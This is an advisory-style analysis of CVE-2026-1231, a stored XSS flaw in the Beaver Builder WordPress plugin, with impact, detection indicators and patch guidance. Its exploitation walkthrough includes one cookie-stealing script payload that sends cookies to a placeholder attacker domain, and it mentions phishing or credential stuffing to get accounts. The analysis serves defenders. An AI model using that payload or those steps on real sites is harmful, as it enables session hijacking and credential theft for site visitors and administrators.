CVE-2026-1231: 
WordPress vulnerability analysis and mitigation

CVE-2026-1231 is a Stored Cross-Site Scripting (XSS) vulnerability in the Beaver Builder Page Builder – Drag and Drop Website Builder plugin for WordPress. It affects all versions up to and including 2.10.0.5, and was published on February 11, 2026. The flaw arises from missing capability checks on the save_global_settings() function combined with insufficient input sanitization of the js Global Settings parameter. It carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-site Scripting). The save_global_settings() function in the Beaver Builder plugin fails to enforce proper capability checks, allowing lower-privileged authenticated users to modify global settings. Additionally, the js parameter within those settings is neither properly sanitized on input nor escaped on output, enabling injection of arbitrary JavaScript that is persistently stored and executed in the browser of any visitor accessing an affected page (Red Hat CVE, Wordfence).

Successful exploitation allows authenticated attackers to persistently inject malicious JavaScript into WordPress pages, affecting all site visitors who load those pages. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims (including administrators), and potential site defacement. The scope is changed (S:C in CVSS terms), meaning the injected script executes in the context of the victim's browser rather than the attacker's session, broadening the potential impact beyond the attacker's own privilege level (Red Hat CVE).

Exploitation requires authentication with at least Custom-level access and Beaver Builder plugin permissions, limiting the attacker pool but not eliminating risk in multi-user WordPress environments. No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.03% (0.000300), indicating a low probability of near-term exploitation. The vulnerability does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog (Red Hat CVE, Wordfence).

1. Reconnaissance: Identify WordPress sites running Beaver Builder Page Builder version 2.10.0.5 or earlier using tools like WPScan or by inspecting page source for plugin version indicators.
2. Obtain authenticated access: Acquire or compromise a WordPress account with Custom-level access that has been granted Beaver Builder plugin permissions (e.g., via phishing, credential stuffing, or legitimate account creation if registration is open).
3. Access Global Settings: Navigate to the Beaver Builder Global Settings panel within the WordPress admin area, which is accessible due to the missing capability check on save_global_settings().
4. Inject malicious payload: Insert a malicious JavaScript payload into the js Global Settings parameter (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>) and save the settings.
5. Trigger execution: The injected script is stored persistently and executes in the browser of any user (including administrators) who visits a page built with Beaver Builder, enabling session hijacking or further exploitation (Red Hat CVE, Wordfence).

• Logs: WordPress admin audit logs showing unexpected modifications to Beaver Builder Global Settings by low-privileged user accounts; HTTP POST requests to the Beaver Builder settings save endpoint from non-administrator accounts.
• File System / Database: Unexpected JavaScript content (e.g., <script> tags, encoded JS payloads) stored in the Beaver Builder global settings database entries (typically in wp_options table under Beaver Builder option keys).
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages built with Beaver Builder, potentially indicating active cookie or credential exfiltration.
• Process/Behavior: Unusual admin-level actions (e.g., new admin account creation, plugin installations) occurring after a non-admin user modified Beaver Builder settings, suggesting successful XSS-based privilege escalation.

Users should update the Beaver Builder Page Builder plugin to version 2.10.0.6 or later, which addresses the missing capability check and adds proper input sanitization and output escaping for the js Global Settings parameter. As an interim measure, site administrators should audit user accounts with Beaver Builder access and restrict Custom-level permissions to trusted users only. Enabling a Web Application Firewall (WAF) with XSS filtering rules can provide additional protection while patching is pending (Red Hat CVE, Wordfence).

Wordfence included CVE-2026-1231 in their weekly WordPress vulnerability report for February 9–15, 2026, highlighting it as part of routine plugin security monitoring. Red Hat also tracked the vulnerability in their CVE database. No significant broader media coverage or notable researcher commentary beyond standard vulnerability disclosure channels has been identified for this CVE (Wordfence, Red Hat CVE).